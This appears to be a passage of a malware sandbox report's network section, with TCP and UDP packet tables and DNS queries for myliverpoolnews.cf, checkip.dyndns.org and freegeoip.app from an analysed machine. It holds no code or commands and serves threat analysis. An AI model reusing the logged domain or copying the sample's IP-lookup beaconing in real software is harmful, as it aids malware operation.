Apr 8, 2021 11:03:30.812901974 CEST	49781	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.813067913 CEST	49781	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.815788984 CEST	49782	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.921478033 CEST	80	49782	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.921499968 CEST	80	49781	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.921576977 CEST	49782	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.921722889 CEST	49782	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.027344942 CEST	80	49782	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.028373957 CEST	80	49782	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.028389931 CEST	80	49782	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.028589010 CEST	49782	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.028619051 CEST	49782	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.032856941 CEST	49783	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.033195019 CEST	49784	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.137578011 CEST	80	49782	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.139276981 CEST	80	49784	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.139311075 CEST	80	49783	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.139378071 CEST	49784	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.139426947 CEST	49783	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.139547110 CEST	49784	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.139666080 CEST	49783	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.244749069 CEST	80	49784	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.245043039 CEST	80	49784	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.245060921 CEST	80	49784	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.245157003 CEST	49784	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.245732069 CEST	80	49783	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.245871067 CEST	80	49783	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.245891094 CEST	80	49783	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.245963097 CEST	49783	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.245996952 CEST	49784	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.247652054 CEST	49783	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.253001928 CEST	49785	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.351301908 CEST	80	49784	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.353739023 CEST	80	49783	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.358870029 CEST	80	49785	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.359014034 CEST	49785	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.359153986 CEST	49785	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.464787006 CEST	80	49785	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.465229988 CEST	80	49785	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.465244055 CEST	80	49785	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.465320110 CEST	49785	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.465419054 CEST	49785	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.467897892 CEST	49787	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.571170092 CEST	80	49785	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.573684931 CEST	80	49787	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.573805094 CEST	49787	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.574191093 CEST	49787	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.679899931 CEST	80	49787	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.680071115 CEST	80	49787	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.680104017 CEST	80	49787	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.680253029 CEST	49787	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.680321932 CEST	49787	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.687665939 CEST	49788	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.786391020 CEST	80	49787	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.792922020 CEST	80	49788	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.793123007 CEST	49788	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.793252945 CEST	49788	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.898006916 CEST	80	49788	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.899229050 CEST	80	49788	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.899256945 CEST	80	49788	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:31.899369955 CEST	49788	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.951098919 CEST	49788	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:31.962271929 CEST	49789	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.056431055 CEST	80	49788	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.067811012 CEST	80	49789	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.067989111 CEST	49789	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.138542891 CEST	49789	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.243738890 CEST	80	49789	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.243829012 CEST	80	49789	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.243845940 CEST	80	49789	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.243928909 CEST	49789	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.244035959 CEST	49789	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.247142076 CEST	49790	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.349103928 CEST	80	49789	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.355144024 CEST	80	49790	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.355356932 CEST	49790	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.355576038 CEST	49790	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.463151932 CEST	80	49790	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.463823080 CEST	80	49790	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.463841915 CEST	80	49790	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.463916063 CEST	49790	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.483875036 CEST	49790	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.491801977 CEST	49791	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.591552019 CEST	80	49790	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.596949100 CEST	80	49791	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.597075939 CEST	49791	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.597414017 CEST	49791	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.702106953 CEST	80	49791	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.702333927 CEST	80	49791	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.702348948 CEST	80	49791	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.702542067 CEST	49791	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.702564001 CEST	49791	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.704911947 CEST	49792	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.810069084 CEST	80	49791	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.810101986 CEST	80	49792	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.810388088 CEST	49792	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.810532093 CEST	49792	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:32.915046930 CEST	80	49792	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.915160894 CEST	80	49792	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.915173054 CEST	80	49792	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:32.915268898 CEST	49792	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.218635082 CEST	49792	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.221508980 CEST	49793	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.323265076 CEST	80	49792	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.327414989 CEST	80	49793	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.327558041 CEST	49793	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.327660084 CEST	49793	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.433440924 CEST	80	49793	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.433768988 CEST	80	49793	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.433866024 CEST	80	49793	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.433933020 CEST	49793	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.434003115 CEST	49793	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.445373058 CEST	49794	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.540752888 CEST	80	49793	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.552880049 CEST	80	49794	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.553041935 CEST	49794	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.553150892 CEST	49794	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.659929991 CEST	80	49794	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.659982920 CEST	80	49794	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.660011053 CEST	80	49794	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.660145998 CEST	49794	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.715126991 CEST	49794	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.721225977 CEST	49796	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:33.821743965 CEST	80	49794	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.827368021 CEST	80	49796	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:33.827572107 CEST	49796	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:34.491008043 CEST	49796	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:34.596879005 CEST	80	49796	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:34.597080946 CEST	80	49796	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:34.597103119 CEST	80	49796	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:34.597196102 CEST	49796	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:34.622816086 CEST	49796	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:34.630425930 CEST	49799	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:34.728914022 CEST	80	49796	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:34.736505985 CEST	80	49799	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:34.736696959 CEST	49799	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:34.765099049 CEST	49799	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:34.871020079 CEST	80	49799	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:34.871043921 CEST	80	49799	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:34.871052027 CEST	80	49799	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:34.871195078 CEST	49799	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:34.871329069 CEST	49799	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:34.874386072 CEST	49800	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:34.976830006 CEST	80	49799	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:34.982144117 CEST	80	49800	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:34.982420921 CEST	49800	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:34.983300924 CEST	49800	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.091255903 CEST	80	49800	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.091293097 CEST	80	49800	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.091309071 CEST	80	49800	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.091394901 CEST	49800	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.091500044 CEST	49800	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.093700886 CEST	49801	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.199377060 CEST	80	49800	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.199703932 CEST	80	49801	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.199881077 CEST	49801	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.199928999 CEST	49801	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.306413889 CEST	80	49801	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.306433916 CEST	80	49801	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.306451082 CEST	80	49801	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.306566000 CEST	49801	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.306675911 CEST	49801	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.312096119 CEST	49802	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.412167072 CEST	80	49801	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.417398930 CEST	80	49802	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.417516947 CEST	49802	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.417623043 CEST	49802	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.522988081 CEST	80	49802	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.523013115 CEST	80	49802	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.523166895 CEST	80	49802	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.523304939 CEST	49802	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.523400068 CEST	49802	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.525574923 CEST	49803	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.628590107 CEST	80	49802	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.631263971 CEST	80	49803	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.631376028 CEST	49803	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.631524086 CEST	49803	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.737787962 CEST	80	49803	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.737811089 CEST	80	49803	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.737894058 CEST	80	49803	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:35.737982988 CEST	49803	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.738078117 CEST	49803	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:35.843707085 CEST	80	49803	162.88.193.70	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 8, 2021 11:01:38.755899906 CEST	50200	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:01:38.775214911 CEST	53	50200	8.8.8.8	192.168.2.3
Apr 8, 2021 11:01:40.972173929 CEST	51281	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:01:40.984234095 CEST	53	51281	8.8.8.8	192.168.2.3
Apr 8, 2021 11:01:41.679163933 CEST	49199	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:01:41.692414045 CEST	53	49199	8.8.8.8	192.168.2.3
Apr 8, 2021 11:01:44.681437016 CEST	50620	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:01:44.724883080 CEST	53	50620	8.8.8.8	192.168.2.3
Apr 8, 2021 11:01:44.803056002 CEST	64938	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:01:44.847248077 CEST	53	64938	8.8.8.8	192.168.2.3
Apr 8, 2021 11:01:56.968020916 CEST	60152	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:01:56.980468035 CEST	53	60152	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:02.752123117 CEST	57544	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:02.764671087 CEST	53	57544	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:03.696585894 CEST	55984	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:03.709362984 CEST	53	55984	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:05.024367094 CEST	64185	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:05.036798000 CEST	53	64185	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:09.424561977 CEST	65110	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:09.451386929 CEST	53	65110	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:11.972204924 CEST	58361	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:11.984787941 CEST	53	58361	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:13.304059029 CEST	63492	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:13.316571951 CEST	53	63492	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:15.070406914 CEST	60831	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:15.082360983 CEST	53	60831	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:16.156286955 CEST	60100	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:16.168801069 CEST	53	60100	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:24.921981096 CEST	53195	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:24.934926033 CEST	53	53195	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:27.071579933 CEST	50141	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:27.085139990 CEST	53	50141	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:28.164998055 CEST	53023	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:28.176840067 CEST	53	53023	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:29.803163052 CEST	49563	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:29.815573931 CEST	53	49563	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:30.633725882 CEST	51352	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:30.646882057 CEST	53	51352	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:30.671216965 CEST	59349	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:30.683943987 CEST	53	59349	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:34.746850014 CEST	57084	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:34.758682013 CEST	53	57084	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:34.833126068 CEST	58823	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:34.845623016 CEST	53	58823	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:37.806899071 CEST	57568	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:37.819520950 CEST	53	57568	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:52.069416046 CEST	50540	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:52.087430000 CEST	53	50540	8.8.8.8	192.168.2.3
Apr 8, 2021 11:02:54.568016052 CEST	54366	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:02:54.587409973 CEST	53	54366	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:03.610271931 CEST	53034	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:03.622721910 CEST	53	53034	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:04.713150978 CEST	57762	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:04.725918055 CEST	53	57762	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:11.841286898 CEST	55435	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:11.854012012 CEST	53	55435	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:12.067235947 CEST	50713	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:12.079967022 CEST	53	50713	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:12.087239981 CEST	56132	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:12.099225998 CEST	53	56132	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:12.367260933 CEST	58987	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:12.386113882 CEST	53	58987	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:12.953145027 CEST	56579	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:12.965672970 CEST	53	56579	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:14.239921093 CEST	60633	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:14.253173113 CEST	53	60633	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:17.115955114 CEST	61292	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:17.128592968 CEST	53	61292	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:19.774718046 CEST	63619	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:19.801333904 CEST	53	63619	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:29.444453955 CEST	64938	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:29.457216024 CEST	53	64938	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:29.460191011 CEST	61946	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:29.472771883 CEST	53	61946	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:29.958946943 CEST	64910	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:29.971657991 CEST	53	64910	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:31.398861885 CEST	52123	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:31.411643982 CEST	53	52123	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:33.603425980 CEST	56130	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:33.617084980 CEST	53	56130	8.8.8.8	192.168.2.3
Apr 8, 2021 11:03:35.694166899 CEST	56338	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:03:35.712686062 CEST	53	56338	8.8.8.8	192.168.2.3
Apr 8, 2021 11:04:07.707721949 CEST	59420	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:04:07.720654011 CEST	53	59420	8.8.8.8	192.168.2.3
Apr 8, 2021 11:04:08.340862989 CEST	58784	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:04:08.372174978 CEST	53	58784	8.8.8.8	192.168.2.3
Apr 8, 2021 11:04:27.249521017 CEST	63978	53	192.168.2.3	8.8.8.8
Apr 8, 2021 11:04:27.343425035 CEST	53	63978	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 8, 2021 11:01:44.681437016 CEST	192.168.2.3	8.8.8.8	0x9e2d	Standard query (0)	myliverpoolnews.cf	A (IP address)	IN (0x0001)
Apr 8, 2021 11:01:44.803056002 CEST	192.168.2.3	8.8.8.8	0x4547	Standard query (0)	myliverpoolnews.cf	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.746850014 CEST	192.168.2.3	8.8.8.8	0x4c9d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.833126068 CEST	192.168.2.3	8.8.8.8	0xd4a3	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:54.568016052 CEST	192.168.2.3	8.8.8.8	0x8bcb	Standard query (0)	freegeoip.app	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.067235947 CEST	192.168.2.3	8.8.8.8	0x7afe	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.087239981 CEST	192.168.2.3	8.8.8.8	0xf800	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.367260933 CEST	192.168.2.3	8.8.8.8	0xc04	Standard query (0)	freegeoip.app	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.444453955 CEST	192.168.2.3	8.8.8.8	0x6506	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.460191011 CEST	192.168.2.3	8.8.8.8	0xca10	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:29.958946943 CEST	192.168.2.3	8.8.8.8	0xc9a5	Standard query (0)	freegeoip.app	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 8, 2021 11:01:44.724883080 CEST	8.8.8.8	192.168.2.3	0x9e2d	No error (0)	myliverpoolnews.cf		104.21.56.119	A (IP address)	IN (0x0001)
Apr 8, 2021 11:01:44.724883080 CEST	8.8.8.8	192.168.2.3	0x9e2d	No error (0)	myliverpoolnews.cf		172.67.150.212	A (IP address)	IN (0x0001)
Apr 8, 2021 11:01:44.847248077 CEST	8.8.8.8	192.168.2.3	0x4547	No error (0)	myliverpoolnews.cf		104.21.56.119	A (IP address)	IN (0x0001)
Apr 8, 2021 11:01:44.847248077 CEST	8.8.8.8	192.168.2.3	0x4547	No error (0)	myliverpoolnews.cf		172.67.150.212	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.758682013 CEST	8.8.8.8	192.168.2.3	0x4c9d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 11:02:34.758682013 CEST	8.8.8.8	192.168.2.3	0x4c9d	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.758682013 CEST	8.8.8.8	192.168.2.3	0x4c9d	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.758682013 CEST	8.8.8.8	192.168.2.3	0x4c9d	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.758682013 CEST	8.8.8.8	192.168.2.3	0x4c9d	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.758682013 CEST	8.8.8.8	192.168.2.3	0x4c9d	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.845623016 CEST	8.8.8.8	192.168.2.3	0xd4a3	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 11:02:34.845623016 CEST	8.8.8.8	192.168.2.3	0xd4a3	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.845623016 CEST	8.8.8.8	192.168.2.3	0xd4a3	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.845623016 CEST	8.8.8.8	192.168.2.3	0xd4a3	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.845623016 CEST	8.8.8.8	192.168.2.3	0xd4a3	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:34.845623016 CEST	8.8.8.8	192.168.2.3	0xd4a3	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:54.587409973 CEST	8.8.8.8	192.168.2.3	0x8bcb	No error (0)	freegeoip.app		172.67.188.154	A (IP address)	IN (0x0001)
Apr 8, 2021 11:02:54.587409973 CEST	8.8.8.8	192.168.2.3	0x8bcb	No error (0)	freegeoip.app		104.21.19.200	A (IP address)	IN (0x0001)
Apr 8, 2021 11:03:12.079967022 CEST	8.8.8.8	192.168.2.3	0x7afe	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Apr 8, 2021 11:03:12.079967022 CEST	8.8.8.8	192.168.2.3	0x7afe	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
